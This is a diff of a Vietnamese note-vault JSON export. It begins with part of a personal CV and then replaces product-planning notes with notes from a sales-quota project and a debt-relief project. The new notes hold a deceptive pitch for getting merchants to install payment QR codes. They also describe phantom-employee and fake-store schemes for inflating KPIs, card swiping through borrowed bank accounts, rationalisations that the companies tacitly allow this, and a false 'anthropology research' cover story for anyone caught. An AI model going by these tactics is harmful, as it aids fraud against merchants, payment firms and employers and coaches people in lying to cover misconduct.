Tasker\n\n### Khác\n- **Quản lý kiến thức và dự án:** OneNote, Google Keep (quản trị viên subreddit [r/GoogleKeep](https://www.reddit.com/r/GoogleKeep/)), Obsidian, Notion, Confluence, Trello\n- **Marketing:** Google Analytics, Google Tag Manager, Mouseflow, Facebook Bussiness\n- **Thiết kế:** GraphViz, vis.js, Illustrator, Paint.NET, Inkscape, Scribus, ImageMagick\n- **Xuất bản:** LaTeX, Zotero, Libre Office, jPdfBookmarks\n- **Sản xuất video:** Movavi, Audacity, VLC\n- **Productivity:** Anki, ManicTime, RescueTime\n- **Ngôn ngữ:** Tiếng Việt, Tiếng Anh (TOELF: 90, GRE: 306), Tiếng Trung (sơ cấp)\n- **Giải trí:** StarCraft, cờ vây, trượt ván, beatbox, võ thuật\n\n## Dự án - sản phẩm\n### SmartPay, 2023 - nay\nNhân viên kinh doanh: tư vấn máy cà thẻ, mã QR cho Merchant, bảo hiểm sức khoẻ, tai\nnạn, tư vấn tạo tài khoản ngân hàng, tư vấn các dịch vụ đi kèm\n### Quả Cầu, 2016 – 2022\n- [đối ⊷ thoại](https://quacau.deno.dev/?utm_source=CV+Nguy%E1%BB%85n+H%E1%BB%AFu+L%E1%BB%99c&utm_medium=CV&utm_campaign=Kh%C3%A1c): tự động tạo và rút gọn liên kết UTM chỉ bằng việc nhập bài đăng và nơi đăng\n- [Trấn Kỳ](https://tranky.deno.dev/?utm_source=CV+Nguy%E1%BB%85n+H%E1%BB%AFu+L%E1%BB%99c&utm_medium=CV&utm_campaign=Kh%C3%A1c): phân loại dữ liệu trong câu nhập bằng tiếng Việt tự nhiên\n- [Chuỗi các bài dịch về chủ đề tự trị, đồng thuận, năng lực ra quyết định, sự riêng tư, thao túng, v.v.](https://quảcầu.cc/loi-moi-cung-dich-cac-bai-viet-ve-tu-tri/?utm_source=CV+Nguy%E1%BB%85n+H%E1%BB%AFu+L%E1%BB%99c&utm_medium=CV&utm_campaign=Kh%C3%A1c)\n- [Mạng lưới người thân, bạn bè của người có niềm tin tiêu cực](https://quảcầu.cc/mang-luoi-nguoi-than-ban-be-nguoi-co-niem-tin-tieu-cuc/?utm_source=CV+Nguy%E1%BB%85n+H%E1%BB%AFu+L%E1%BB%99c&utm_medium=CV&utm_campaign=Kh%C3%A1c)\n- [Mạng lưới 100+ niềm tin phổ biến trong xã hội](https://quảcầu.cc/phan-tich-mot-mang-luoi-100-niem-tin/?utm_source=CV+Nguy%E1%BB%85n+H%E1%BB%AFu+L%E1%BB%99c&utm_medium=CV&utm_campaign=Kh%C3%A1c)\n\n### Trước 2021\n- [Bộ sưu tập từ điển chuyên ngành](https://quảcầu.cc/tu-dien-chuyen-nganh/?utm_source=CV+Nguy%E1%BB%85n+H%E1%BB%AFu+L%E1%BB%99c&utm_medium=CV&utm_campaign=Kh%C3%A1c)\n- [Bộ thẻ từ vựng tiếng Anh nâng cao (GRE Anki)](https://quảcầu.cc/bo-the-hoc-tu-vung-tieng-anh-nang-cao/?utm_source=CV+Nguy%E1%BB%85n+H%E1%BB%AFu+L%E1%BB%99c&utm_medium=CV&utm_campaign=Kh%C3%A1c)\n\n## Giáo dục\nTốt nghiệp trung học phổ thông (2017)\n\n### Các khoá học, tập huấn\n| Năm | Tên chương trình | Đơn vị tổ chức |\n| ---- | ----------------------------------------------------------------------------- | ---------------------------------------------------------------------------- |\n| 2022 | Bình đẳng giới, đa dạng và hòa nhập trong Thời trang & Làm đẹp (GEAI Fashion) | GEAI (Tổng lãnh sự quán Mỹ bảo trợ) |\n| | Từ Chính Sách Bảo Vệ Quyền Riêng Tư Đến Thực Hành An Toàn Số | Viện Nghiên cứu Chính sách và Phát triển Truyền thông (IPS) & Oxfam Việt Nam |\n| | Triết học Deleuze | Viện nghiên cứu Đời sống xã hội (SocialLife) |\n| 2021 | Trường học về các giá trị phổ quát (SUV 10) | Trung tâm Thúc đẩy giáo dục và Nâng cao năng lực Phụ nữ (CEPEW) |\n| | Triết học về giới (VGEM 2) | ECUE |\n| | Đồng hành gieo mầm phát triển (DIF) | ECUE |\n| | I Commit | Trung tâm Nghiên cứu phát triển bền vững (CSDS) |\n| | Trường học Phát triển Việt Nam (VSOD) | |\n| | Giao tiếp hạnh phúc | CMC parenting |\n| | Đạo và Đời | Fred Hub |\n| | Diễn đàn Thanh niên Kiến tạo | Trung tâm Nghiên cứu phát triển bền vững (CSDS) |\n| | Nhập môn Nhiếp ảnh | Mở |\n", "Định dạng nội dung": "md" }, "Phương thức tạo": "Cào vault", - "Ngày tạo": "2023-09-05T09:17:00.000Z", - "Ngày cập nhật": "2024-07-28T09:43:00.000Z", + "Ngày tạo": "2024-08-09T13:45:00.000Z", + "Ngày cập nhật": "2024-08-14T14:25:00.000Z", "id": "4E" }, { - "Tiêu đề": "Kế hoạch bán cho người cần có sự kỷ luật tài chính", - "URL": "https://kiếmtiền.quảcầu.cc/📐 Dự án/Trấn Kỳ/Cũ/4 Thành phẩm/Kế hoạch/Kế hoạch tạo lợi nhuận từ Trấn Kỳ/Kế hoạch bán cho người cần có sự kỷ luật tài chính", + "Tiêu đề": "Nói mình là nhân viên Momo nhưng gắn mã công ty khác sẽ dễ hơn", + "URL": "https://kiếmtiền.quảcầu.cc/📐 Dự án/Chạy chỉ tiêu cho nhân viên các công ty/Tài liệu/Nói mình là nhân viên Momo nhưng gắn mã công ty khác sẽ dễ hơn", "Kho thông tin": "Tồn tại trong thế giới tư bản", "Dự án": { - "Tên dự án": "Trấn Kỳ", + "Tên dự án": "Chạy chỉ tiêu cho nhân viên các công ty", "Mã dự án": "B2" }, "Nội dung bài đăng": { - "Toàn bộ nội dung": "[[Tổ chức nhỏ hoặc người cần kỷ luật tài chính\\|Nghiên cứu người cần kỷ luật tài chính]]\r\n\r\n| Thành phẩm cần có | Hành vi cần đạt được | Giả thiết | Công việc |\r\n| --------------------------------------- | ---------------------------------------------------------- | --------------------------------------------------- | ---------------------------------------------------------------------------------------- |\r\n| Tạo ra được sản phẩm phù hợp thị trường | Người cần có sự kỷ luật tài chính tìm đến mình và trả tiền | Hiểu được nhu cầu những người cần kỷ luật tài chính | [[Tổ chức nhỏ hoặc người cần kỷ luật tài chính\\|Nghiên cứu người cần kỷ luật tài chính]] |\r\n| Người chuyên bán hàng | Người có kỹ năng bán hàng tham gia | | |\r\n", + "Toàn bộ nội dung": "Nếu cửa hàng đã có Momo rồi thì thường họ sẽ không có nhu cầu gắn thêm mã khác. Nếu muốn họ gắn mã khác thì có thể nói là \r\n```\r\nHôm nay ngân hàng tặng anh chị cái mã này, hoạt động tương tự như Momo\r\n```\r\n", "Định dạng nội dung": "md" }, "Phương thức tạo": "Cào vault", "Ngày tạo": "2023-09-05T09:17:00.000Z", - "Ngày cập nhật": "2024-08-01T13:42:00.000Z", + "Ngày cập nhật": "2024-07-29T09:41:00.000Z", "id": "4F" }, { - "Tiêu đề": "Kế hoạch xây dựng cộng đồng phát triển Trấn Kỳ", - "URL": "https://kiếmtiền.quảcầu.cc/📐 Dự án/Trấn Kỳ/Cũ/4 Thành phẩm/Kế hoạch/Kế hoạch xây dựng cộng đồng phát triển Trấn Kỳ", + "Tiêu đề": "Script", + "URL": "https://kiếmtiền.quảcầu.cc/📐 Dự án/Chạy chỉ tiêu cho nhân viên các công ty/Tài liệu/Script", "Kho thông tin": "Tồn tại trong thế giới tư bản", "Dự án": { - "Tên dự án": "Trấn Kỳ", + "Tên dự án": "Chạy chỉ tiêu cho nhân viên các công ty", "Mã dự án": "B2" }, "Nội dung bài đăng": { - "Toàn bộ nội dung": "| Giải pháp gợi ý | Hành vi cần đạt được | Giả thiết | Công việc |\r\n| -------------------------------------------------- | -------------------- | --------- | --------- |\r\n| Chuyển đổi từ những người muốn xây dựng PKM | | | |\r\n| Chuyển đổi từ những người muốn tự học lập trình | | | |\r\n| Chuyển đổi từ những người trong Discord QC | | | |\r\n| Chuyển đổi từ những người muốn hỗ trợ Kendy | | | |\r\n| Chuyển đổi từ những người muốn hỗ trợ người mắc nợ | | | |\r\n| Chuyển đổi từ những người đến C Lập trình | | | |\r\n| Chuyển đổi từ những người đến C Obsidian | | | |\r\n| Chuyển đổi từ những người đến quảcầu.cc | | | |\r\n| Chuyển đổi từ bạn bè QC | | | |\r\n| Chuyển đổi từ những người theo dõi QC | | | |\r\n\r\nMọi người thấy đọc được tới bài tham gia\r\n\r\n| Thành quả mong muốn | Giả thiết | Công việc |\r\n| ------------------------------------------------------------------------------------------------------------- | ---------------------------------------------------------------------- | -------------------------------------------------------------------------------------------------------------- |\r\n| [[Mỗi tuần có 10 người tham gia phát triển Trấn Kỳ]] | Cứ 2 người nhắn tin thì 1 người nhận việc | [[Kế hoạch xây dựng cộng đồng phát triển Trấn Kỳ\\|Xây dựng cộng đồng phát triển Trấn Kỳ]] |\r\n| [[Mỗi tuần có 20 người nhắn tin trên thread Trấn Kỳ trên Discord Quả Cầu]] | Cứ 2 người vào thread Trấn Kỳ thì có 1 người nhắn | [[Kế hoạch tổ chức các buổi hướng dẫn sử dụng Trấn Kỳ\\|Tổ chức các buổi hướng dẫn người dùng sử dụng Trấn Kỳ]] |\r\n| Mỗi tuần có 40 click vào thread Trấn Kỳ trên Discord Quả Cầu | Cứ 5 engaged session ở bài \"Lời mời\" thì có 2 click vào thread Trấn Kỳ | Chào hỏi người mới tham gia |\r\n| Mỗi ngày có 100 engaged session ở bài [[Lời mời xây dựng một startup để làm những việc một người bạn sẽ làm]] | | Tổ chức các buổi thảo luận |\r\n\r\n[[Cộng đồng từ chưa tỉnh thức đến tỉnh thức ít nhất cũng 2 năm]]\r\n", + "Toàn bộ nội dung": "## Thêm số thứ tự vào các hình hàng loạt\nHữu ích cho việc phân biệt mã nào mình đã làm rồi, mã nào chưa\n```PowerShell\n$i=1; Get-ChildItem -file | ForEach-Object {\n $filename=$_.name\n $basename = $_.basename\n $output = \"$basename$i.jpg\"\n $output; \n magick convert -pointsize 300 -fill red -draw \"text 60,600 `\"$i`\"\" \"$filename\" $output\n $i++\n} \n```\n\n![[a.jpg|200]] → ![[a1.jpg|200]]\n", "Định dạng nội dung": "md" }, "Phương thức tạo": "Cào vault", "Ngày tạo": "2023-09-05T09:17:00.000Z", - "Ngày cập nhật": "2024-08-01T13:42:00.000Z", + "Ngày cập nhật": "2024-08-14T14:26:00.000Z", "id": "4G" }, { - "Tiêu đề": "Kế hoạch", - "URL": "https://kiếmtiền.quảcầu.cc/📐 Dự án/Trấn Kỳ/Cũ/4 Thành phẩm/Kế hoạch/Kế hoạch", + "Tiêu đề": "Xử lý tình huống, câu hỏi thường gặp", + "URL": "https://kiếmtiền.quảcầu.cc/📐 Dự án/Chạy chỉ tiêu cho nhân viên các công ty/Tài liệu/Xử lý tình huống, câu hỏi thường gặp", "Kho thông tin": "Tồn tại trong thế giới tư bản", "Dự án": { - "Tên dự án": "Trấn Kỳ", + "Tên dự án": "Chạy chỉ tiêu cho nhân viên các công ty", "Mã dự án": "B2" }, "Nội dung bài đăng": { - "Toàn bộ nội dung": "```dataview\r\nList rows.file.link\r\nFROM \"📐 Dự án/Trấn Kỳ/4 Thành phẩm/Kế hoạch\" \r\nWHERE file.name!=this.file.name\r\ngroup by split(file.folder,\"/\" )[4] \r\n```\r\n", + "Toàn bộ nội dung": "# Tôi thấy việc làm nhân viên ảo là việc không nên\r\nCòn bên pru ng chịu thiệt là ko có ai ở đây. Nếu có là ng hưởng lợi cao nhất là tổng giám đốc hoặc các nhà đầu tư chẳng hạn. Một ng ko mấy bị ảnh hưởng bởi số tiền nhỏ\r\nCòn cái này là một con người trực tiếp em tiếp xúc\r\nChịu thiệt ở đây, là do họ có chính sách ko triệt để, để bị trục lợi, mà thực ra họ có biết, nhưng mục đích của chính sách thì tốt cho tổng quan hơn, nên họ cho phép nó xảy ra\r\n\r\nAnh có biết môn kiểm toán ko, ví như ngta biết có lỗ hỗng nào đó, tuy nhiên chi phí sửa lỗ hổng còn to gấp nhiều lần việc mặc kệ nó\r\nThì ngta cho phép nó cứ thế xảy ra\r\n\r\nCông ty có cảm thấy mình bị lừa khi \r\n\r\nNg dạy em họ thừa biết là em fake\r\nTổng thể cty ng ta ngầm đồng ý như v\r\nCòn cái này em ko thấy có sự đồng ý của anh lead\r\nQuan trọng hơn là ảnh trực tiếp làm việc với em nữa chứ\r\n[[Đối với công ty, nhân viên có cộng tác viên riêng, nhân viên ảo, người đại diện nhóm, bán việc là những cái tên khác nhau cho cùng một thứ]]\r\n# Tôi là người cho mượn tài khoản ngân hàng để các bạn quẹt. Chuyện gì sẽ xảy ra nếu các bạn bị phát hiện?\r\nVì là trung gian thanh toán, nên các ví điện tử đứng ra bảo lãnh cho người quẹt. Chuyển khoản thì còn không biết đang làm gì, chứ dùng trung gian thanh toán thì xác định là mua hàng. Ngân hàng sẽ thấy là sạch, và điểm tín dụng sẽ cao hơn. Hoặc chẳng qua nó nhắm mắt làm ngơ, vì bọn mình chưa đủ lớn để truy tố hay thả lưới. Nếu bọn mình làm lớn thì chắc đã không phải nhờ tới các bạn rồi.\r\n\r\nLuật cấm rút tiền mặt tại cửa hàng để tránh việc rửa tiền. Nhưng đó là rút tiền mặt. Nhưng nếu cửa hàng chuyển trực tiếp lại cho mình thì sao?\r\n\r\nMỗi lần chỉ 20k\r\n[Kiên quyết xử lý những điểm không được phép kinh doanh dịch vụ rút, chuyển tiền trái phép](https://baothanhhoa.vn/kien-quyet-xu-ly-nhung-diem-khong-duoc-phep-kinh-doanh-dich-vu-rut-chuyen-tien-trai-phep-122634.htm \"Kiên quyết xử lý những điểm không được phép kinh doanh dịch vụ rút, chuyển tiền trái phép\")\r\n\r\n\r\nBài chi tiết:: [[Một giao dịch khi quẹt qua trung gian thanh toán sẽ trở thành một giao dịch mua hàng sạch trong mắt ngân hàng]]\r\n# Tôi chấp nhận làm nhân viên ảo trong công ty. Chuyện gì sẽ xảy ra nếu tôi bị phát hiện là làm ảo?\r\nVNPAY sẽ phạt nội bộ NV. Hình phạt cao nhất của việc quẹt dơ là không tính KPI của NV đó, còn tạo cửa hàng ảo thì là đuổi luôn.\r\n\r\nNếu bị lộ thì có thể nói là bạn đang thực hành nhân học trong công ty. Những cửa hàng thấy số lượng giao dịch cao bất thường là bạn đang làm một thử nghiệm xã hội về hành vi giúp đỡ của chủ cửa hàng khi nhận được yêu cầu giúp đỡ. Thử nghiệm tiến hành như sau:\r\n- Đầu tiên bạn vào quán lúc vắng và ăn như bình thường. Nhân viên nào cũng có quẹt cả\r\n- Sau đó bạn hỏi là ở quán có bao nhiêu người ăn xin, bán rong mỗi ngày\r\n- Sau đó bạn gửi tiền cho chủ quán, \r\n\r\nBạn rất lấy làm tiếc khi đã không trung thực trong lúc xin việc, nhưng công việc nghiên cứu đòi hỏi mình phải giữ bí mật, để kết quả không bị ảnh hưởng. Bạn có thể chia sẻ là thật ra tới lúc nghỉ thì bạn sẽ tiết lộ về dự án của bạn, vì đạo đức nghiên cứu đòi hỏi sự minh bạch. Chỉ tại bạn bị lộ sớm hơn dự tính.\r\n\r\nViệc này sẽ khiến công ty thấy kỳ lạ, khác biệt, không bị trục lợi.\r\n", "Định dạng nội dung": "md" }, "Phương thức tạo": "Cào vault", - "Ngày tạo": "2023-11-05T14:09:00.000Z", - "Ngày cập nhật": "2024-08-01T13:42:00.000Z", + "Ngày tạo": "2023-09-05T09:17:00.000Z", + "Ngày cập nhật": "2024-08-27T07:39:00.000Z", "id": "4H" }, { - "Tiêu đề": "Untitled", - "URL": "https://kiếmtiền.quảcầu.cc/📐 Dự án/Trấn Kỳ/Cũ/4 Thành phẩm/Kế hoạch/Untitled", + "Tiêu đề": "Bản câu hỏi cho người cần được hỗ trợ thoát nợ", + "URL": "https://kiếmtiền.quảcầu.cc/📐 Dự án/Giúp nhau thoát nợ/Bản câu hỏi cho người cần được hỗ trợ thoát nợ", "Kho thông tin": "Tồn tại trong thế giới tư bản", "Dự án": { - "Tên dự án": "Trấn Kỳ", + "Tên dự án": "Giúp nhau thoát nợ", "Mã dự án": "B2" }, "Nội dung bài đăng": { - "Toàn bộ nội dung": "Giả thiết: \r\n- Trấn Kỳ tự sẽ lan toả được\r\n- Các bài về hệ thống sẽ tự lan toả được\r\n- Dịch vụ đáp ứng nhu cầu học sẽ tự lan toả được\r\n \r\nTình hình truyền thông: \r\n\r\n- LinkedIn\r\n- Chia sẻ các bài \r\n\r\n| Thành quả mong muốn | Giả thiết | Công việc |\r\n| ------------------------------------------------------------------------------------------------------------------------------------------------------------------------- | --------- | --------- |\r\n| Bài [[Các buổi hướng dẫn tích hợp Trấn Kỳ vào hệ thống quản lý\\|Tích hợp Trấn Kỳ vào hệ thống của bạn]] có 10 lượt truy cập mỗi ngày | | |\r\n| [[Các buổi hướng dẫn tích hợp Trấn Kỳ vào hệ thống quản lý#Tự động tạo liên kết UTM cho việc tiếp thị trực tuyến\\|Tự động tạo liên kết UTM cho việc tiếp thị trực tuyến]] | | |\r\n# Dạy và tư vấn cho người muốn học kiến thức, kỹ năng xây dựng hệ thống quản lý và xử lý dữ liệu\r\n| Thành quả mong muốn | Giả thiết | Công việc |\r\n| ----------------------------------------------------------------------------------------------------------------------------------- | --------------------------------------------------------- | ---------------------------------------------------------------------------------------------------- |\r\n| Kiếm 1tr một tuần | Làm được trung bình 2 buổi/tuần. Mỗi buổi trung bình 500k | |\r\n| Mỗi tuần làm trung bình 2 buổi | | |\r\n| Mỗi tuần có 2 người hỏi | | |\r\n| Mỗi ngày có 4 người đọc hơn 50% bài [[Các buổi đáp ứng nhu cầu học cách sử dụng công cụ và tư duy lập trình cho nhu cầu công việc]] | | [[Các buổi đáp ứng nhu cầu học lập trình\\|Kế hoạch tiếp thị các buổi đáp ứng nhu cầu học lập trình]] |\r\n\r\n---\r\n\r\nMục tiêu: [[Mỗi tháng có lợi nhuận 10tr để trả lãi cho Trí]]
    → [[Lợi nhuận mỗi tuần 2tr5]]\r\n\r\n\r\n\r\n| Giải pháp gợi ý | Hành vi cần đạt được | Giả thiết | Công việc |\r\n| ------------------------------------------------------------ | ----------------------------------------------------------------------------------------------------------------- | --------------------------------------------------------------------------------------------------------- | ------------------------------------------------------ |\r\n| Bán cho người cần sự kỷ luật tài chính | Người cần có sự kỷ luật tài chính tìm đến mình và trả tiền | [[Người đã muốn tiết kiệm thời gian sẽ chấp nhận trả phí]] | [[Kế hoạch bán cho người cần có sự kỷ luật tài chính]] |\r\n| Bán cho người cần phân loại dữ liệu | Người cần phân loại dữ liệu mua | [[Người đã muốn tiết kiệm thời gian sẽ chấp nhận trả phí]] | [[Kế hoạch bán cho người cần có sự kỷ luật tài chính]] |\r\n| Bán cho người cần xây dựng cơ sở dữ liệu, hệ thống thông tin | Người cần xây dựng cơ sở dữ liệu, hệ thống thông tin tích hợp được vào hệ thống của họ. Họ không cần phải có demo | Người cần xây dựng cơ sở dữ liệu, hệ thống thông tin biết lập trình cơ bản hoặc có người lập trình cho họ | Bán cho doanh nghiệp nhỏ |\r\n| Bán cho ngân hàng | Ngân hàng muốn được gia công | Biết được nhu cầu của ngân hàng | [[Phỏng vấn các quản lý cấp cao trong ngân hàng]] |\r\n\r\n[[Kế hoạch xây dựng cộng đồng phát triển Trấn Kỳ\\|Xây dựng cộng đồng phát triển Trấn Kỳ]]\r\n
    \r\n\r\n\r\n[[Kiếm tiền từ Trấn Kỳ]]\r\n# SaaS: tính theo số lượng giao dịch hoặc plugin\r\nĐối tượng:: Người bận rộn không có thời gian phân loại dữ liệu nhưng cần có báo cáo chi tiết\r\n\r\n# Bán khoá học và Chợ/hoạt động cộng đồng\r\nĐối tượng:: Người làm phát triển sản phẩm, khởi nghiệp, dự án. Người cần tổ chức dữ liệu, xây dựng PKM, ERP, giàn giáo nhận thức cho mình. Người cần học lập trình\r\n\r\nCác hoạt động cộng đồng này sẽ giúp có thêm plugin cũng như những người làm gia công cho các công ty. Điều này sẽ tạo hiệu ứng mạng lưới. \r\n\r\nHọ sẽ muốn tham gia vì là thứ họ cần. Đó có thể là:\r\n- Tiền\r\n- Sự trôi chảy trong công việc,\r\n- Kiến thức lập trình\r\n- Các mối quan hệ và cơ hội phát triển nghề nghiệp\r\n\r\n# Bán dữ liệu\r\n- Quảng cáo, tiếp thị liên kết\r\n- Gợi ý mua những sản phẩm mở rộng\r\n\r\n# Gia công cho các công ty\r\nĐối tượng:: Khách hàng doanh nghiệp\r\n\r\n\r\n\r\n[[Mô hình kinh doanh và định giá]]\r\n[[Giả thiết về giá trị của Trấn Kỳ]]\r\n[[Mô hình kinh doanh Trấn Kỳ]]\r\n", + "Toàn bộ nội dung": "- Tình hình nợ hiện nay thế nào? Các khoản nợ, lãi và thời hạn trả của chúng, v.v.\r\n- Tình hình nợ này ảnh hưởng đến cuộc sống của bạn thế nào?\r\n- Bạn có thể chia sẻ chi phí sinh hoạt của bạn được không? Càng chi tiết càng tốt\r\n- Đây là [[Tạo sinh kế, thu nhập, dòng tiền|Một số ý tưởng kiếm tiền]]. Bạn có mong muốn tham gia vào các hoạt động nào?\r\n- Trong [[Các dịch vụ cho vay]], bạn đã dùng tới những dịch vụ nào? Vì sao chúng không phù hợp với bạn?\r\n- Bạn có chấp nhận [[Xù nợ]] không? Vì sao?\r\n- Ai sẽ là người bạn cảm thấy thoải mái khi họ biết được những gì bạn ghi ở đây? Vì sao?\r\n\r\n[[Các nhóm tặng đồ]]\r\n\r\n**Mục tiêu: cắt hết lãi**\r\n", "Định dạng nội dung": "md" }, "Phương thức tạo": "Cào vault", "Ngày tạo": "2023-09-05T09:17:00.000Z", - "Ngày cập nhật": "2024-07-28T09:43:00.000Z", + "Ngày cập nhật": "2024-08-14T14:27:00.000Z", "id": "4I" }, { - "Tiêu đề": "Câu hỏi khảo sát", - "URL": "https://kiếmtiền.quảcầu.cc/📐 Dự án/Trấn Kỳ/Cũ/4 Thành phẩm/Người dùng/Người dùng cá nhân/Nhu cầu phân loại tự động/Câu hỏi khảo sát", + "Tiêu đề": "Huy động nguồn tiền nhàn rỗi", + "URL": "https://kiếmtiền.quảcầu.cc/📐 Dự án/Giúp nhau thoát nợ/Công việc/Huy động nguồn tiền nhàn rỗi", "Kho thông tin": "Tồn tại trong thế giới tư bản", "Dự án": { - "Tên dự án": "Trấn Kỳ", + "Tên dự án": "Giúp nhau thoát nợ", "Mã dự án": "B2" }, "Nội dung bài đăng": { - "Toàn bộ nội dung": "# Khi nào thì công việc kế toán cần tới việc nhập liệu và gắn nhãn dữ liệu?\r\nEm hiện đang nghiên cứu về **nhu cầu tự động hoá việc nhập liệu và phân loại, gắn nhãn, để biến dữ liệu phi cấu trúc thành dữ liệu có cấu trúc ở công việc kế toán**. Ví dụ, khi đi chợ thì ta có một dữ liệu thô (phi cấu trúc) như sau:\r\n```**\r\nthăn bò 30k lườn gà 20k (giảm giá) cho Parid ở coopmart vợ trả\r\n```\r\nKết quả của việc phân loại, gắn nhãn nó để dữ liệu này trở thành dữ liệu có cấu trúc sẽ là:\r\n```\r\n| Tên | Giá trị |\r\n| --------------------------- | ---------------- |\r\n| Món đồ | thăn bò, lườn gà |\r\n| Loại món đồ | Lương thực |\r\n| Phương thức thanh toán | vợ trả |\r\n| Loại phương thức thanh toán | Tiền mặt |\r\n| Nơi mua | CoopMart |\r\n| Loại nơi mua | Siêu thị |\r\n| Người thụ hưởng | Parid |\r\n| Loại người thụ hưởng | Gia đình |\r\n| Số tiền | 50000 |\r\n| Ghi chú | giảm giá |\r\n```\r\n\r\nKhông biết trong cuộc sống hoặc công việc của các anh chị có khi nào các anh chị phải làm như vậy không? Và công cụ anh chị dùng để phân loại là công cụ nào? Và mức độ thường xuyên làm vậy của anh chị là gì?\r\n\r\nLưu ý là không nhất thiết là phân loại chi tiêu nhé. Em lấy ví dụ như vậy là vì em không biết công việc kế toán thường phải phân loại cái gì. Em cảm ơn các anh chị.\r\n\r\n# Làm sao để tự động phân loại dữ liệu trên Excel, AppScript?\r\nKhông biết trên Excel có cách nào để tự động phân loại, gắn nhãn, để biến dữ liệu phi cấu trúc thành dữ liệu có cấu trúc không nhỉ?\r\n\r\nVí dụ, khi đi chợ thì ta có một dữ liệu thô (phi cấu trúc) như sau:\r\n```\r\nthăn bò 30k lườn gà 20k (giảm giá) cho Parid ở coopmart vợ trả\r\n```\r\n\r\nKết quả của việc phân loại, gắn nhãn nó để dữ liệu này trở thành dữ liệu có cấu trúc sẽ là:\r\n```\r\n| Tên | Giá trị |\r\n| --------------------------- | ---------------- |\r\n| Món đồ | thăn bò, lườn gà |\r\n| Loại món đồ | Lương thực |\r\n| Phương thức thanh toán | vợ trả |\r\n| Loại phương thức thanh toán | Tiền mặt |\r\n| Nơi mua | CoopMart |\r\n| Loại nơi mua | Siêu thị |\r\n| Người thụ hưởng | Parid |\r\n| Loại người thụ hưởng | Gia đình |\r\n| Số tiền | 50000 |\r\n| Ghi chú | giảm giá |\r\n```\r\nEm muốn nó tự động phân loại chứ không phải nhập tay. Em có biết về regex nhưng cái này có lẽ phức tạp hơn chỉ dùng regex đơn thuần. Em nghĩ là cần phải có plugin chuyên biệt cho nó.\r\n\r\n# Mức độ thường xuyên phải phân loại, gắn nhãn thông tin (chuyển từ dữ liệu phi cấu trúc sang dữ liệu có cấu trúc) của bạn khi làm tiếp thị là như thế nào?\r\nVí dụ về việc phân loại, gắn nhãn thông tin: giả sử bạn đi mua bánh ở coopmart mất 50k, và bạn cần nhập giao dịch này vào trong cơ sở dữ liệu của mình như sau:\r\n\r\n- Món đồ: bánh\r\n- Loại món đồ: ăn vặt\r\n- Số tiền: 50000 VNĐ\r\n- Nơi mua: CoopMart\r\n- Loại nơi mua: siêu thị\r\n- Phương thức thanh toán: tiền mặt\r\n\r\nBạn có phải thường xuyên làm việc này không? Không nhất thiết phải là chi tiêu nhé.\r\n\r\nMỗi ngày một lần hoặc hơn\r\nMỗi tuần một lần\r\n\r\n# Khi nào thì mới cần tự động phân loại?\r\n", + "Toàn bộ nội dung": "[[Cho vay lấy lãi]]\r\n[[Cho mượn theo nhóm đảm bảo không bị quịt hơn]]\r\n", "Định dạng nội dung": "md" }, "Phương thức tạo": "Cào vault", "Ngày tạo": "2023-09-05T09:17:00.000Z", - "Ngày cập nhật": "2024-07-28T09:43:00.000Z", + "Ngày cập nhật": "2024-08-01T10:09:00.000Z", "id": "4J" }, { - "Tiêu đề": "Câu hỏi phỏng vấn", - "URL": "https://kiếmtiền.quảcầu.cc/📐 Dự án/Trấn Kỳ/Cũ/4 Thành phẩm/Người dùng/Người dùng cá nhân/Nhu cầu phân loại tự động/Câu hỏi phỏng vấn", + "Tiêu đề": "Thương lượng với chủ nợ", + "URL": "https://kiếmtiền.quảcầu.cc/📐 Dự án/Giúp nhau thoát nợ/Công việc/Thương lượng với chủ nợ", "Kho thông tin": "Tồn tại trong thế giới tư bản", "Dự án": { - "Tên dự án": "Trấn Kỳ", + "Tên dự án": "Giúp nhau thoát nợ", "Mã dự án": "B2" }, "Nội dung bài đăng": { - "Toàn bộ nội dung": "[[Mục tiêu và câu hỏi nghiên cứu người dùng cá nhân cần phân loại tự động]]\r\n# Thông tin cơ bản\r\n## Giới thiệu về bản thân, công việc\r\n\r\n# Việc ghi chép và phân loại\r\n## Bạn thường ghi chép những gì?\r\n## Bạn thường phân loại những gì?\r\n## Việc phân loại giúp ích được những gì cho bạn?\r\n## Thứ bạn có được sau khi phân loại xong giúp ích được những gì cho bạn?\r\n## Bạn phân loại như thế nào?\r\n### Tại sao lại dùng công cụ này mà không phải là những công cụ khác? \r\n## Trong tháng vừa qua bạn đã phân loại dữ liệu bao nhiêu lần?\r\n## Mỗi lần phân loại bạn tốn bao nhiêu thời gian?\r\n## Bao lâu bạn phân loại một lần?\r\n## Sau khi phân loại xong thì bạn làm những gì tiếp theo?\r\n## Nếu không phải tốn thời gian cho việc phân loại thì bạn sẽ làm gì?\r\n## Bạn cảm thấy như thế nào vào lúc phải phân loại?\r\n## Có lúc nào bạn không phân loại không? Tại sao?\r\n\r\n# Giải pháp phân loại tự động\r\n## Bạn có bao giờ nghĩ về giải pháp giúp tự động phân loại dữ liệu không?\r\n### Lúc nghĩ về nó bạn đã cảm thấy thế nào? \r\n## Bạn đã biết tới những giải pháp nào?\r\n### Nếu là AI thì sao?\r\n## Bạn nghĩ rằng giải pháp đáp ứng được nhu cầu của mình nên là như thế nào?\r\n### Việc đáp ứng được các nhu cầu đó sẽ khiến bạn khác đi như thế nào?\r\n## Bạn sẽ làm những gì để có được nó?\r\n### Tức là bạn thấy rằng những gì bạn làm để có được nó tương xứng với những gì mà nó đã cho bạn?\r\n\r\n# Hành trình người dùng ở Trấn Kỳ\r\n## Bạn đã biết tới Trấn Kỳ thế nào?\r\n## Bạn đã biết được gì về Trấn Kỳ rồi?\r\n## Cảm nhận của bạn khi đọc là gì?\r\n## Điều gì khiến bạn like, comment, share, hoặc không làm điều đó?\r\n## Điều gì khiến bạn chưa tìm hiểu về nó?\r\n## Bạn mong chờ gì ở Trấn Kỳ?\r\n\r\n# Quan sát việc sử dụng Trấn Kỳ\r\n## Điều gì ở Trấn Kỳ gây ấn tượng với bạn?\r\n## Bạn thấy chân trang thế nào?\r\n## Link nào ở chân trang làm bạn quan tâm?\r\n## Bạn thấy các bài viết như thế nào?\r\n## Có điều gì ở Trấn Kỳ làm bạn muốn kể cho người khác không? Nếu không thì vì sao?\r\n## Có suy nghĩ nào của bạn được thay đổi sau khi dùng thử Trấn Kỳ không? Nếu không thì vì sao?\r\n\r\n# Trò chuyện thêm\r\n## Mức độ sẵn sàng chia sẻ ghi chú này\r\n### Có muốn đọc bản ghi chú này không?\r\n## Sở thích \r\n## Lý do chọn công việc hiện tại\r\n## Nhu cầu, ưu tiên, dự định trong cuộc 